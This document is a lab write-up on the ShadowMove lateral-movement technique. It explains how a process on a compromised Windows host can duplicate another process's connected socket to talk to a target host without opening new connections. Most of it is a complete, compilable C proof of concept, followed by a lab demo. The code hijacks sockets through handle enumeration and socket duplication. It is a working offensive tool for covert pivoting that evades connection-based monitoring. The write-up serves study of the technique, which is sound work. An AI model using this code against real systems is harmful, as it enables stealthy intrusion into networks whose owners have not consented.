ShadowMove: Lateral Movement by Duplicating Existing Sockets
ShadowMove (original paper by researchers Amirreza Niakanlahiji, Jinpeng Wei, Md Rabbi Alam, Qingyang Wang and Bei-Tseng Chu, go check it for full details) is a lateral movement technique that works by stealing (duplicating) an existing socket connected to a remote host, from a running process on a system an adversary has compromised.
This is a quick lab to familiarize with the technique, while using the PoC by Juan Manuel Fernández which he provided in his post.

Overview

The below is a simplified diagram showing how the technique works and how I tested it in my lab:
Source and Target hosts communicating using ShadowMove technique
Let's see what we have in the above diagram:
    1.
    On the left, we have a compromised host (for example, we landed on this host by means of a successful phish) 192.168.1.117 - this is the source host from which we want to move laterally to the target host 192.168.56.102.
    2.
    On the right, we have the target host 192.168.56.102, which has a listening socket on TCP port 80, by means of running nc -lvp 80
    3.
    Source host 192.168.1.117 has an established connection to the target host 192.168.56.102:80 via nc.exe.
    4.
    On the source host, there's ShadowMove.exe process running - this is the process that executes the ShadowMove lateral movement technique. Note that it does not establish any connections to remote hosts at any point in time during its lifetime - this is the beauty of the technique.
    5.
    On the source host, ShadowMove.exe enumerates all handles nc.exe has opened and looks for handles to \Device\Afd, which are used for network socket communications. Once found, the handle is used to create a duplicate socket with WSADuplicateSocketW and WSASocket API calls. Once the shared socket is created, getpeername is used to check if the destination address of the socket is that of target host's IP address, which in our case is 192.168.56.102.
    6.
    Once the shared socket is created based on the \Device\Afd handle pointing to the target host, as found in step 5, ShadowMove.exe can now write to that socket with send and read from it with recv API calls.
It's important to stress once more, the ShadowMove.exe does not create any TCP connections to the target host. Instead, it reuses the existing connected socket to 192.168.56.102:80 between the source and target host, that was established by the nc.exe process on the source system - and this is the key point of this lateral movement technique.

Code

Below is the code written by Juan Manuel Fernández which I modified slightly, so that it would compile without errors in my development environment with Visual Studio 2019:
1
// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)
2
3
#define _WINSOCK_DEPRECATED_NO_WARNINGS
4
#include <winsock2.h>
5
#include <Windows.h>
6
#include <stdio.h>
7
8
#pragma comment(lib,"WS2_32")
9
10
// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
11
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
12
#define SystemHandleInformation 16
13
#define ObjectNameInformation 1
14
15
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
16
ULONG SystemInformationClass,
17
PVOID SystemInformation,
18
ULONG SystemInformationLength,
19
PULONG ReturnLength
20
);
21
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
22
HANDLE SourceProcessHandle,
23
HANDLE SourceHandle,
24
HANDLE TargetProcessHandle,
25
PHANDLE TargetHandle,
26
ACCESS_MASK DesiredAccess,
27
ULONG Attributes,
28
ULONG Options
29
);
30
typedef NTSTATUS(NTAPI* _NtQueryObject)(
31
HANDLE ObjectHandle,
32
ULONG ObjectInformationClass,
33
PVOID ObjectInformation,
34
ULONG ObjectInformationLength,
35
PULONG ReturnLength
36
);
37
38
typedef struct _SYSTEM_HANDLE
39
{
40
ULONG ProcessId;
41
BYTE ObjectTypeNumber;
42
BYTE Flags;
43
USHORT Handle;
44
PVOID Object;
45
ACCESS_MASK GrantedAccess;
46
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
47
48
typedef struct _SYSTEM_HANDLE_INFORMATION
49
{
50
ULONG HandleCount;
51
SYSTEM_HANDLE Handles[1];
52
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
53
54
typedef struct _UNICODE_STRING
55
{
56
USHORT Length;
57
USHORT MaximumLength;
58
PWSTR Buffer;
59
} UNICODE_STRING, * PUNICODE_STRING;
60
61
62
typedef enum _POOL_TYPE
63
{
64
NonPagedPool,
65
PagedPool,
66
NonPagedPoolMustSucceed,
67
DontUseThisType,
68
NonPagedPoolCacheAligned,
69
PagedPoolCacheAligned,
70
NonPagedPoolCacheAlignedMustS
71
} POOL_TYPE, * PPOOL_TYPE;
72
73
typedef struct _OBJECT_NAME_INFORMATION
74
{
75
UNICODE_STRING Name;
76
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
77
78
PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)
79
{
80
return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
81
}
82
83
SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
84
HANDLE hProc;
85
PSYSTEM_HANDLE_INFORMATION handleInfo;
86
DWORD handleInfoSize = 0x10000;
87
NTSTATUS status;
88
DWORD returnLength;
89
WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
90
SOCKET targetSocket;
91
92
// Open target process with PROCESS_DUP_HANDLE rights
93
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
94
if (!hProc) {
95
printf("[!] Error: could not open the process!\n");
96
exit(-1);
97
}
98
printf("[+] Handle to process obtained!\n");
99
100
// Find the functions
101
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
102
_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
103
_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
104
105
// Retrieve handles from the target process
106
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
107
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
108
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
109
110
printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);
111
112
// Iterate
113
for (DWORD i = 0; i < handleInfo->HandleCount; i++) {
114
115
// Check if it is the desired type of handle
116
if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {
117
118
SYSTEM_HANDLE handle = handleInfo->Handles[i];
119
HANDLE dupHandle = NULL;
120
POBJECT_NAME_INFORMATION objectNameInfo;
121
122
// Duplicate handle
123
NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
124
objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);
125
126
// Get handle info
127
NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);
128
129
// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)
130
if (objectNameInfo->Name.Length == 22) {
131
printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);
132
133
// Check if it ends in "Afd"
134
LPWSTR needle = (LPWSTR)malloc(8);
135
memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
136
if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {
137
138
// We got a candidate
139
printf("\t[*] \\Device\\Afd found at %d!\n", i);
140
141
// Try to duplicate the socket
142
status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
143
if (status != 0) {
144
printf("\t\t[X] Error duplicating socket!\n");
145
free(needle);
146
free(objectNameInfo);
147
CloseHandle(dupHandle);
148
continue;
149
}
150
151
// We got it?
152
targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
153
if (targetSocket != INVALID_SOCKET) {
154
struct sockaddr_in sockaddr;
155
DWORD len;
156
len = sizeof(SOCKADDR_IN);
157
158
// It this the socket?
159
if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {
160
if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
161
printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));
162
free(needle);
163
free(objectNameInfo);
164
return targetSocket;
165
}
166
}
167
168
}
169
170
free(needle);
171
}
172
173
}
174
free(objectNameInfo);
175
176
}
177
}
178
179
return 0;
180
}
181
182
183
int main(int argc, char** argv) {
184
WORD wVersionRequested;
185
WSADATA wsaData;
186
DWORD dwProcessId;
187
LPSTR dstIP = NULL;
188
SOCKET targetSocket;
189
char buff[255] = { 0 };
190
191
printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");
192
193
// smgateway.exe [PID] [IP dst]
194
/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
195
if (argc != 3) {
196
printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);
197
exit(-1);
198
}
199
dwProcessId = strtoul(argv[1], NULL, 10);
200
dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);
201
memcpy(dstIP, argv[2], strlen(dstIP));
202
203
204
// Classic
205
wVersionRequested = MAKEWORD(2, 2);
206
WSAStartup(wVersionRequested, &wsaData);
207
208
targetSocket = findTargetSocket(dwProcessId, dstIP);
209
send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);
210
recv(targetSocket, buff, 255, 0);
211
printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);
212
return 0;
213
}
Copied!

Demo

Once we have compiled the above code, we can test the technique as it was described earlier in our diagram. Below highlighted are key aspects of the demo:
    In the top right corner, there's a target system 192.168.56.102 with nc listening on port 80.
    In the top left corner, there's a compromised (source) system and nc.exe establishing a connection to target host 192.168.56.102:80.
    In the bottom left corner, there's ShadowMove.exe running on the source system, which enumerates handles of the nc.exe running on the source system, finds a socket that is connected to 192.168.56.102:80 (target system), duplicates it and writes hello from shadowmove and reused socket! to it, which is then received on the target system (top right).
    Target system (top right) writes back to the same socket hello from target to shadowmove, which is received by shadowmove.exe on the source system (bottom left).
    In the bottom right, we see a ProcessHacker that shows that at no point in time shadowmove.exe establishes no TCP connections.
Demo: ShadowMove Lateral Movement in Action

References

Hijacking connections without injections: a ShadowMoving approach to the art of pivoting | AdeptsOf0xCC
Hijacking connections without injections: a ShadowMoving approach to the art of pivoting |
Last modified 8mo ago